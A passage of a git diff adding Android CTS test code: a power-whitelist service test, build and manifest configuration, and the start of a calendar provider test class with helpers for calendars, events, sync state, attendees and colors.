+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.powerwhitelist;
+
+
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PowerWhitelistTest {
+ @Test
+ public void testPowerWhitelistManager() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ assertNotNull(context.getSystemService(Context.POWER_WHITELIST_MANAGER));
+ }
+}
diff --git a/tests/tests/bluetooth/OWNERS b/tests/tests/bluetooth/OWNERS
new file mode 100644
index 0000000..7e7c217
--- /dev/null
+++ b/tests/tests/bluetooth/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 27441
+zachoverflow@google.com
diff --git a/tests/tests/calendarcommon/AndroidTest.xml b/tests/tests/calendarcommon/AndroidTest.xml
index 0785102..47799e2 100644
--- a/tests/tests/calendarcommon/AndroidTest.xml
+++ b/tests/tests/calendarcommon/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Instant apps can't access the calendar provider. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/calendarprovider/Android.bp b/tests/tests/calendarprovider/Android.bp
new file mode 100644
index 0000000..43ecb0d
--- /dev/null
+++ b/tests/tests/calendarprovider/Android.bp
@@ -0,0 +1,29 @@
+android_test {
+ name: "CtsCalendarProviderTestCases",
+ defaults: ["cts_defaults"],
+
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+
+ libs: [
+ "android.test.mock",
+ "android.test.base.stubs",
+ "android.test.runner.stubs",
+ ],
+
+ static_libs: [
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "junit",
+ "truth-prebuilt",
+ "mockito-target-minus-junit4",
+ ],
+
+ srcs: ["src/**/*.java"],
+
+ sdk_version: "test_current",
+ min_sdk_version: "29",
+}
diff --git a/tests/tests/calendarprovider/AndroidManifest.xml b/tests/tests/calendarprovider/AndroidManifest.xml
new file mode 100644
index 0000000..62562ff
--- /dev/null
+++ b/tests/tests/calendarprovider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.provider.cts.calendar">
+
+ <uses-sdk android:targetSdkVersion="29" />
+
+ <uses-permission android:name="android.permission.WRITE_CALENDAR" />
+ <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+ <application>
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.provider.cts.calendar">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
+
diff --git a/tests/tests/calendarprovider/AndroidTest.xml b/tests/tests/calendarprovider/AndroidTest.xml
new file mode 100644
index 0000000..16d5ecf
--- /dev/null
+++ b/tests/tests/calendarprovider/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Provider test cases">
+ <option name="test-suite-tag" value="cts" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <!-- Instant apps can't access the system providers. -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsCalendarProviderTestCases.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ <option name="package" value="android.provider.cts.calendar" />
+ <option name="runtime-hint" value="2m00s" />
+ </test>
+</configuration>
diff --git a/tests/tests/calendarprovider/OWNERS b/tests/tests/calendarprovider/OWNERS
new file mode 100644
index 0000000..301c336
--- /dev/null
+++ b/tests/tests/calendarprovider/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 197771
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/calendarprovider/src/android/provider/cts/calendar/CalendarTest.java b/tests/tests/calendarprovider/src/android/provider/cts/calendar/CalendarTest.java
new file mode 100644
index 0000000..7a672c1
--- /dev/null
+++ b/tests/tests/calendarprovider/src/android/provider/cts/calendar/CalendarTest.java
@@ -0,0 +1,3766 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.calendar;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Entity;
+import android.content.EntityIterator;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.provider.CalendarContract;
+import android.provider.CalendarContract.Attendees;
+import android.provider.CalendarContract.CalendarEntity;
+import android.provider.CalendarContract.Calendars;
+import android.provider.CalendarContract.Colors;
+import android.provider.CalendarContract.Events;
+import android.provider.CalendarContract.EventsEntity;
+import android.provider.CalendarContract.ExtendedProperties;
+import android.provider.CalendarContract.Instances;
+import android.provider.CalendarContract.Reminders;
+import android.provider.CalendarContract.SyncState;
+import android.test.InstrumentationTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+import android.text.TextUtils;
+import android.text.format.DateUtils;
+import android.text.format.Time;
+import android.util.Log;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class CalendarTest extends InstrumentationTestCase {
+
+ private static final String TAG = "CalCTS";
+ private static final String CTS_TEST_TYPE = "LOCAL";
+
+ // an arbitrary int used by some tests
+ private static final int SOME_ARBITRARY_INT = 143234;
+
+ // 15 sec timeout for reminder broadcast (but shouldn't usually take this long).
+ private static final int POLLING_TIMEOUT = 15000;
+
+ // @formatter:off
+ private static final String[] TIME_ZONES = new String[] {
+ "UTC",
+ "America/Los_Angeles",
+ "Asia/Beirut",
+ "Pacific/Auckland", };
+ // @formatter:on
+
+ private static final String SQL_WHERE_ID = Events._ID + "=?";
+ private static final String SQL_WHERE_CALENDAR_ID = Events.CALENDAR_ID + "=?";
+
+ private ContentResolver mContentResolver;
+
+ /** If set, log verbose instance info when running recurrence tests. */
+ private static final boolean DEBUG_RECURRENCE = false;
+
+ private static class CalendarHelper {
+
+ // @formatter:off
+ public static final String[] CALENDARS_SYNC_PROJECTION = new String[] {
+ Calendars._ID,
+ Calendars.ACCOUNT_NAME,
+ Calendars.ACCOUNT_TYPE,
+ Calendars._SYNC_ID,
+ Calendars.CAL_SYNC7,
+ Calendars.CAL_SYNC8,
+ Calendars.DIRTY,
+ Calendars.NAME,
+ Calendars.CALENDAR_DISPLAY_NAME,
+ Calendars.CALENDAR_COLOR,
+ Calendars.CALENDAR_COLOR_KEY,
+ Calendars.CALENDAR_ACCESS_LEVEL,
+ Calendars.VISIBLE,
+ Calendars.SYNC_EVENTS,
+ Calendars.CALENDAR_LOCATION,
+ Calendars.CALENDAR_TIME_ZONE,
+ Calendars.OWNER_ACCOUNT,
+ Calendars.CAN_ORGANIZER_RESPOND,
+ Calendars.CAN_MODIFY_TIME_ZONE,
+ Calendars.MAX_REMINDERS,
+ Calendars.ALLOWED_REMINDERS,
+ Calendars.ALLOWED_AVAILABILITY,
+ Calendars.ALLOWED_ATTENDEE_TYPES,
+ Calendars.DELETED,
+ Calendars.CAL_SYNC1,
+ Calendars.CAL_SYNC2,
+ Calendars.CAL_SYNC3,
+ Calendars.CAL_SYNC4,
+ Calendars.CAL_SYNC5,
+ Calendars.CAL_SYNC6,
+ };
+ // @formatter:on
+
+ private CalendarHelper() {} // do not instantiate this class
+
+ /**
+ * Generates the e-mail address for the Calendar owner. Use this for
+ * Calendars.OWNER_ACCOUNT, Events.OWNER_ACCOUNT, and for Attendees.ATTENDEE_EMAIL
+ * when you want a "self" attendee entry.
+ */
+ static String generateCalendarOwnerEmail(String account) {
+ return "OWNER_" + account + "@example.com";
+ }
+
+ /**
+ * Creates a new set of values for creating a single calendar with every
+ * field.
+ *
+ * @param account The account name to create this calendar with
+ * @param seed A number used to generate the values
+ * @return A complete set of values for the calendar
+ */
+ public static ContentValues getNewCalendarValues(
+ String account, int seed) {
+ String seedString = Long.toString(seed);
+ ContentValues values = new ContentValues();
+ values.put(Calendars.ACCOUNT_TYPE, CTS_TEST_TYPE);
+
+ values.put(Calendars.ACCOUNT_NAME, account);
+ values.put(Calendars._SYNC_ID, "SYNC_ID:" + seedString);
+ values.put(Calendars.CAL_SYNC7, "SYNC_V:" + seedString);
+ values.put(Calendars.CAL_SYNC8, "SYNC_TIME:" + seedString);
+ values.put(Calendars.DIRTY, 0);
+ values.put(Calendars.OWNER_ACCOUNT, generateCalendarOwnerEmail(account));
+
+ values.put(Calendars.NAME, seedString);
+ values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
+
+ values.put(Calendars.CALENDAR_ACCESS_LEVEL, (seed % 8) * 100);
+
+ values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
+ values.put(Calendars.VISIBLE, seed % 2);
+ values.put(Calendars.SYNC_EVENTS, 1); // must be 1 for recurrence expansion
+ values.put(Calendars.CALENDAR_LOCATION, "LOCATION:" + seedString);
+ values.put(Calendars.CALENDAR_TIME_ZONE, TIME_ZONES[seed % TIME_ZONES.length]);
+ values.put(Calendars.CAN_ORGANIZER_RESPOND, seed % 2);
+ values.put(Calendars.CAN_MODIFY_TIME_ZONE, seed % 2);
+ values.put(Calendars.MAX_REMINDERS, 3);
+ values.put(Calendars.ALLOWED_REMINDERS, "0,1,2"); // does not include SMS (3)
+ values.put(Calendars.ALLOWED_ATTENDEE_TYPES, "0,1,2,3");
+ values.put(Calendars.ALLOWED_AVAILABILITY, "0,1,2,3");
+ values.put(Calendars.CAL_SYNC1, "SYNC1:" + seedString);
+ values.put(Calendars.CAL_SYNC2, "SYNC2:" + seedString);
+ values.put(Calendars.CAL_SYNC3, "SYNC3:" + seedString);
+ values.put(Calendars.CAL_SYNC4, "SYNC4:" + seedString);
+ values.put(Calendars.CAL_SYNC5, "SYNC5:" + seedString);
+ values.put(Calendars.CAL_SYNC6, "SYNC6:" + seedString);
+
+ return values;
+ }
+
+ /**
+ * Creates a set of values with just the updates and modifies the
+ * original values to the expected values
+ */
+ public static ContentValues getUpdateCalendarValuesWithOriginal(
+ ContentValues original, int seed) {
+ ContentValues values = new ContentValues();
+ String seedString = Long.toString(seed);
+
+ values.put(Calendars.CALENDAR_DISPLAY_NAME, "DISPLAY_" + seedString);
+ values.put(Calendars.CALENDAR_COLOR, 0xff000000 + seed);
+ values.put(Calendars.VISIBLE, seed % 2);
+ values.put(Calendars.SYNC_EVENTS, seed % 2);
+
+ original.putAll(values);
+ original.put(Calendars.DIRTY, 1);
+
+ return values;
+ }
+
+ public static int deleteCalendarById(ContentResolver resolver, long id) {
+ return resolver.delete(Calendars.CONTENT_URI, Calendars._ID + "=?",
+ new String[] { Long.toString(id) });
+ }
+
+ public static int deleteCalendarByAccount(ContentResolver resolver, String account) {
+ return resolver.delete(Calendars.CONTENT_URI, Calendars.ACCOUNT_NAME + "=?",
+ new String[] { account });
+ }
+
+ public static Cursor getCalendarsByAccount(ContentResolver resolver, String account) {
+ String selection = Calendars.ACCOUNT_TYPE + "=?";
+ String[] selectionArgs;
+ if (account != null) {
+ selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
+ selectionArgs = new String[2];
+ selectionArgs[1] = account;
+ } else {
+ selectionArgs = new String[1];
+ }
+ selectionArgs[0] = CTS_TEST_TYPE;
+
+ return resolver.query(Calendars.CONTENT_URI, CALENDARS_SYNC_PROJECTION, selection,
+ selectionArgs, null);
+ }
+ }
+
+ /**
+ * Helper class for manipulating entries in the _sync_state table.
+ */
+ private static class SyncStateHelper {
+ public static final String[] SYNCSTATE_PROJECTION = new String[] {
+ SyncState._ID,
+ SyncState.ACCOUNT_NAME,
+ SyncState.ACCOUNT_TYPE,
+ SyncState.DATA
+ };
+
+ private static final byte[] SAMPLE_SYNC_DATA = {
+ (byte) 'H', (byte) 'e', (byte) 'l', (byte) 'l', (byte) 'o'
+ };
+
+ private SyncStateHelper() {} // do not instantiate
+
+ /**
+ * Creates a new set of values for creating a new _sync_state entry.
+ */
+ public static ContentValues getNewSyncStateValues(String account) {
+ ContentValues values = new ContentValues();
+ values.put(SyncState.DATA, SAMPLE_SYNC_DATA);
+ values.put(SyncState.ACCOUNT_NAME, account);
+ values.put(SyncState.ACCOUNT_TYPE, CTS_TEST_TYPE);
+ return values;
+ }
+
+ /**
+ * Retrieves the _sync_state entry with the specified ID.
+ */
+ public static Cursor getSyncStateById(ContentResolver resolver, long id) {
+ Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
+ return resolver.query(uri, SYNCSTATE_PROJECTION, null, null, null);
+ }
+
+ /**
+ * Retrieves the _sync_state entry for the specified account.
+ */
+ public static Cursor getSyncStateByAccount(ContentResolver resolver, String account) {
+ assertNotNull(account);
+ String selection = SyncState.ACCOUNT_TYPE + "=? AND " + SyncState.ACCOUNT_NAME + "=?";
+ String[] selectionArgs = new String[] { CTS_TEST_TYPE, account };
+
+ return resolver.query(SyncState.CONTENT_URI, SYNCSTATE_PROJECTION, selection,
+ selectionArgs, null);
+ }
+
+ /**
+ * Deletes the _sync_state entry with the specified ID. Always done as app.
+ */
+ public static int deleteSyncStateById(ContentResolver resolver, long id) {
+ Uri uri = ContentUris.withAppendedId(SyncState.CONTENT_URI, id);
+ return resolver.delete(uri, null, null);
+ }
+
+ /**
+ * Deletes the _sync_state entry associated with the specified account. Can be done
+ * as app or sync adapter.
+ */
+ public static int deleteSyncStateByAccount(ContentResolver resolver, String account,
+ boolean asSyncAdapter) {
+ Uri uri = SyncState.CONTENT_URI;
+ if (asSyncAdapter) {
+ uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+ }
+ return resolver.delete(uri, SyncState.ACCOUNT_NAME + "=?",
+ new String[] { account });
+ }
+ }
+
+ // @formatter:off
+ private static class EventHelper {
+ public static final String[] EVENTS_PROJECTION = new String[] {
+ Events._ID,
+ Events.ACCOUNT_NAME,
+ Events.ACCOUNT_TYPE,
+ Events.OWNER_ACCOUNT,
+ // Events.ORGANIZER_CAN_RESPOND, from Calendars
+ // Events.CAN_CHANGE_TZ, from Calendars
+ // Events.MAX_REMINDERS, from Calendars
+ Events.CALENDAR_ID,
+ // Events.CALENDAR_DISPLAY_NAME, from Calendars
+ // Events.CALENDAR_COLOR, from Calendars
+ // Events.CALENDAR_ACL, from Calendars
+ // Events.CALENDAR_VISIBLE, from Calendars
+ Events.SYNC_DATA3,
+ Events.SYNC_DATA6,
+ Events.TITLE,
+ Events.EVENT_LOCATION,
+ Events.DESCRIPTION,
+ Events.STATUS,
+ Events.SELF_ATTENDEE_STATUS,
+ Events.DTSTART,
+ Events.DTEND,
+ Events.EVENT_TIMEZONE,
+ Events.EVENT_END_TIMEZONE,
+ Events.EVENT_COLOR,
+ Events.EVENT_COLOR_KEY,
+ Events.DURATION,
+ Events.ALL_DAY,
+ Events.ACCESS_LEVEL,
+ Events.AVAILABILITY,
+ Events.HAS_ALARM,
+ Events.HAS_EXTENDED_PROPERTIES,
+ Events.RRULE,
+ Events.RDATE,
+ Events.EXRULE,
+ Events.EXDATE,
+ Events.ORIGINAL_ID,
+ Events.ORIGINAL_SYNC_ID,
+ Events.ORIGINAL_INSTANCE_TIME,
+ Events.ORIGINAL_ALL_DAY,
+ Events.LAST_DATE,
+ Events.HAS_ATTENDEE_DATA,
+ Events.GUESTS_CAN_MODIFY,
+ Events.GUESTS_CAN_INVITE_OTHERS,
+ Events.GUESTS_CAN_SEE_GUESTS,
+ Events.ORGANIZER,
+ Events.DELETED,
+ Events._SYNC_ID,
+ Events.SYNC_DATA4,
+ Events.SYNC_DATA5,
+ Events.DIRTY,
+ Events.SYNC_DATA8,
+ Events.SYNC_DATA2,
+ Events.SYNC_DATA1,
+ Events.SYNC_DATA2,
+ Events.SYNC_DATA3,
+ Events.SYNC_DATA4,
+ Events.MUTATORS,
+ };
+ // @formatter:on
+
+ private EventHelper() {} // do not instantiate this class
+
+ /**
+ * Constructs a set of name/value pairs that can be used to create a Calendar event.
+ * Various fields are generated from the seed value.
+ */
+ public static ContentValues getNewEventValues(
+ String account, int seed, long calendarId, boolean asSyncAdapter) {
+ String seedString = Long.toString(seed);
+ ContentValues values = new ContentValues();
+ values.put(Events.ORGANIZER, "ORGANIZER:" + seedString);
+
+ values.put(Events.TITLE, "TITLE:" + seedString);
+ values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
+
+ values.put(Events.CALENDAR_ID, calendarId);
+
+ values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
+ values.put(Events.STATUS, seed % 2); // avoid STATUS_CANCELED for general testing
+
+ values.put(Events.DTSTART, seed);
+ values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
+ values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
+ values.put(Events.EVENT_COLOR, seed);
+ // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
+ // TIME_ZONES.length]);
+ if ((seed % 2) == 0) {
+ // Either set to zero, or leave unset to get default zero.
+ // Must be 0 or dtstart/dtend will get adjusted.
+ values.put(Events.ALL_DAY, 0);
+ }
+ values.put(Events.ACCESS_LEVEL, seed % 4);
+ values.put(Events.AVAILABILITY, seed % 2);
+ values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
+ values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
+ values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
+ values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
+ values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
+
+ // Default is STATUS_TENTATIVE (0). We either set it to that explicitly, or leave
+ // it set to the default.
+ if (seed != Events.STATUS_TENTATIVE) {
+ values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
+ }
+
+ if (asSyncAdapter) {
+ values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
+ values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
+ values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
+ values.put(Events.SYNC_DATA3, "HTML:" + seedString);
+ values.put(Events.SYNC_DATA6, "COMMENTS:" + seedString);
+ values.put(Events.DIRTY, 0);
+ values.put(Events.SYNC_DATA8, "0");
+ } else {
+ // only the sync adapter can set the DIRTY flag
+ //values.put(Events.DIRTY, 1);
+ }
+ // values.put(Events.SYNC1, "SYNC1:" + seedString);
+ // values.put(Events.SYNC2, "SYNC2:" + seedString);
+ // values.put(Events.SYNC3, "SYNC3:" + seedString);
+ // values.put(Events.SYNC4, "SYNC4:" + seedString);
+ // values.put(Events.SYNC5, "SYNC5:" + seedString);
+// Events.RRULE,
+// Events.RDATE,
+// Events.EXRULE,
+// Events.EXDATE,
+// // Events.ORIGINAL_ID
+// Events.ORIGINAL_EVENT, // rename ORIGINAL_SYNC_ID
+// Events.ORIGINAL_INSTANCE_TIME,
+// Events.ORIGINAL_ALL_DAY,
+
+ return values;
+ }
+
+ /**
+ * Constructs a set of name/value pairs that can be used to create a recurring
+ * Calendar event.
+ *
+ * A duration of "P1D" is treated as an all-day event.
+ *
+ * @param startWhen Starting date/time in RFC 3339 format
+ * @param duration Event duration, in RFC 2445 duration format
+ * @param rrule Recurrence rule
+ * @return name/value pairs to use when creating event
+ */
+ public static ContentValues getNewRecurringEventValues(String account, int seed,
+ long calendarId, boolean asSyncAdapter, String startWhen, String duration,
+ String rrule) {
+
+ // Set up some general stuff.
+ ContentValues values = getNewEventValues(account, seed, calendarId, asSyncAdapter);
+
+ // Replace the DTSTART field.
+ String timeZone = values.getAsString(Events.EVENT_TIMEZONE);
+ Time time = new Time(timeZone);
+ time.parse3339(startWhen);
+ values.put(Events.DTSTART, time.toMillis(false));
+
+ // Add in the recurrence-specific fields, and drop DTEND.
+ values.put(Events.RRULE, rrule);
+ values.put(Events.DURATION, duration);
+ values.remove(Events.DTEND);
+
+ return values;
+ }
+
+ /**
+ * Constructs the basic name/value pairs required for an exception to a recurring event.
+ *
+ * @param instanceStartMillis The start time of the instance
+ * @return name/value pairs to use when creating event
+ */
+ public static ContentValues getNewExceptionValues(long instanceStartMillis) {
+ ContentValues values = new ContentValues();
+ values.put(Events.ORIGINAL_INSTANCE_TIME, instanceStartMillis);
+
+ return values;
+ }
+
+ public static ContentValues getUpdateEventValuesWithOriginal(ContentValues original,
+ int seed, boolean asSyncAdapter) {
+ String seedString = Long.toString(seed);
+ ContentValues values = new ContentValues();
+
+ values.put(Events.TITLE, "TITLE:" + seedString);
+ values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
+ values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
+ values.put(Events.STATUS, seed % 3);
+
+ values.put(Events.DTSTART, seed);
+ values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
+ values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
+ // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
+ // TIME_ZONES.length]);
+ values.put(Events.ACCESS_LEVEL, seed % 4);
+ values.put(Events.AVAILABILITY, seed % 2);
+ values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
+ values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
+ values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
+ values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
+ values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
+ if (asSyncAdapter) {
+ values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
+ values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
+ values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
+ values.put(Events.DIRTY, 0);
+ }
+ original.putAll(values);
+ return values;
+ }
+
+ public static void addDefaultReadOnlyValues(ContentValues values, String account,
+ boolean asSyncAdapter) {
+ values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
+ values.put(Events.DELETED, 0);
+ values.put(Events.DIRTY, asSyncAdapter ? 0 : 1);
+ values.put(Events.OWNER_ACCOUNT, CalendarHelper.generateCalendarOwnerEmail(account));
+ values.put(Events.ACCOUNT_TYPE, CTS_TEST_TYPE);
+ values.put(Events.ACCOUNT_NAME, account);
+ }
+
+ /**
+ * Generates a RFC2445-format duration string.
+ */
+ private static String generateDurationString(long durationMillis, boolean isAllDay) {
+ long durationSeconds = durationMillis / 1000;
+
+ // The server may react differently to an all-day event specified as "P1D" than
+ // it will to "PT86400S"; see b/1594638.
+ if (isAllDay && (durationSeconds % 86400) == 0) {
+ return "P" + durationSeconds / 86400 + "D";
+ } else {
+ return "PT" + durationSeconds + "S";
+ }
+ }
+
+ /**
+ * Deletes the event, and updates the values.
+ * @param resolver The resolver to issue the query against.
+ * @param uri The deletion URI.
+ * @param values Set of values to update (sets DELETED and DIRTY).
+ * @return The number of rows modified.
+ */
+ public static int deleteEvent(ContentResolver resolver, Uri uri, ContentValues values) {
+ values.put(Events.DELETED, 1);
+ values.put(Events.DIRTY, 1);
+ return resolver.delete(uri, null, null);
+ }
+
+ public static int deleteEventAsSyncAdapter(ContentResolver resolver, Uri uri,
+ String account) {
+ Uri syncUri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
+ return resolver.delete(syncUri, null, null);
+ }
+
+ public static Cursor getEventsByAccount(ContentResolver resolver, String account) {
+ String selection = Calendars.ACCOUNT_TYPE + "=?";
+ String[] selectionArgs;
+ if (account != null) {
+ selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
+ selectionArgs = new String[2];
+ selectionArgs[1] = account;
+ } else {
+ selectionArgs = new String[1];
+ }
+ selectionArgs[0] = CTS_TEST_TYPE;
+ return resolver.query(Events.CONTENT_URI, EVENTS_PROJECTION, selection, selectionArgs,
+ null);
+ }
+
+ public static Cursor getEventByUri(ContentResolver resolver, Uri uri) {
+ return resolver.query(uri, EVENTS_PROJECTION, null, null, null);
+ }
+
+ /**
+ * Looks up the specified Event in the database and returns the "selfAttendeeStatus"
+ * value.
+ */
+ public static int lookupSelfAttendeeStatus(ContentResolver resolver, long eventId) {
+ return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
+ Events.SELF_ATTENDEE_STATUS);
+ }
+
+ /**
+ * Looks up the specified Event in the database and returns the "hasAlarm"
+ * value.
+ */
+ public static int lookupHasAlarm(ContentResolver resolver, long eventId) {
+ return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
+ Events.HAS_ALARM);
+ }
+ }
+
+ /**
+ * Helper class for manipulating entries in the Attendees table.
+ */
+ private static class AttendeeHelper {
+ public static final String[] ATTENDEES_PROJECTION = new String[] {
+ Attendees._ID,
+ Attendees.EVENT_ID,
+ Attendees.ATTENDEE_NAME,
+ Attendees.ATTENDEE_EMAIL,
+ Attendees.ATTENDEE_STATUS,
+ Attendees.ATTENDEE_RELATIONSHIP,
+ Attendees.ATTENDEE_TYPE
+ };
+ // indexes into projection
+ public static final int ATTENDEES_ID_INDEX = 0;
+ public static final int ATTENDEES_EVENT_ID_INDEX = 1;
+
+ // do not instantiate
+ private AttendeeHelper() {}
+
+ /**
+ * Adds a new attendee to the specified event.
+ *
+ * @return the _id of the new attendee, or -1 on failure
+ */
+ public static long addAttendee(ContentResolver resolver, long eventId, String name,
+ String email, int status, int relationship, int type) {
+ Uri uri = Attendees.CONTENT_URI;
+
+ ContentValues attendee = new ContentValues();
+ attendee.put(Attendees.EVENT_ID, eventId);
+ attendee.put(Attendees.ATTENDEE_NAME, name);
+ attendee.put(Attendees.ATTENDEE_EMAIL, email);
+ attendee.put(Attendees.ATTENDEE_STATUS, status);
+ attendee.put(Attendees.ATTENDEE_RELATIONSHIP, relationship);
+ attendee.put(Attendees.ATTENDEE_TYPE, type);
+ Uri result = resolver.insert(uri, attendee);
+ return ContentUris.parseId(result);
+ }
+
+ /**
+ * Finds all Attendees rows for the specified event and email address. The returned
+ * cursor will use {@link AttendeeHelper#ATTENDEES_PROJECTION}.
+ */
+ public static Cursor findAttendeesByEmail(ContentResolver resolver, long eventId,
+ String email) {
+ return resolver.query(Attendees.CONTENT_URI, ATTENDEES_PROJECTION,
+ Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_EMAIL + "=?",
+ new String[] { String.valueOf(eventId), email }, null);
+ }
+ }
+
+ /**
+ * Helper class for manipulating entries in the Colors table.
+ */
+ private static class ColorHelper {
+ public static final String WHERE_COLOR_ACCOUNT = Colors.ACCOUNT_NAME + "=? AND "
+ + Colors.ACCOUNT_TYPE + "=?";
+ public static final String WHERE_COLOR_ACCOUNT_AND_INDEX = WHERE_COLOR_ACCOUNT + " AND "
+ + Colors.COLOR_KEY + "=?";
+
+ public static final String[] COLORS_PROJECTION = new String[] {
+ Colors._ID, // 0
+ Colors.ACCOUNT_NAME, // 1
+ Colors.ACCOUNT_TYPE, // 2
+ Colors.DATA, // 3
+ Colors.COLOR_TYPE, // 4
+ Colors.COLOR_KEY, // 5
+ Colors.COLOR, // 6
+ };
+ // indexes into projection
+ public static final int COLORS_ID_INDEX = 0;
+ public static final int COLORS_INDEX_INDEX = 5;
+ public static final int COLORS_COLOR_INDEX = 6;
+
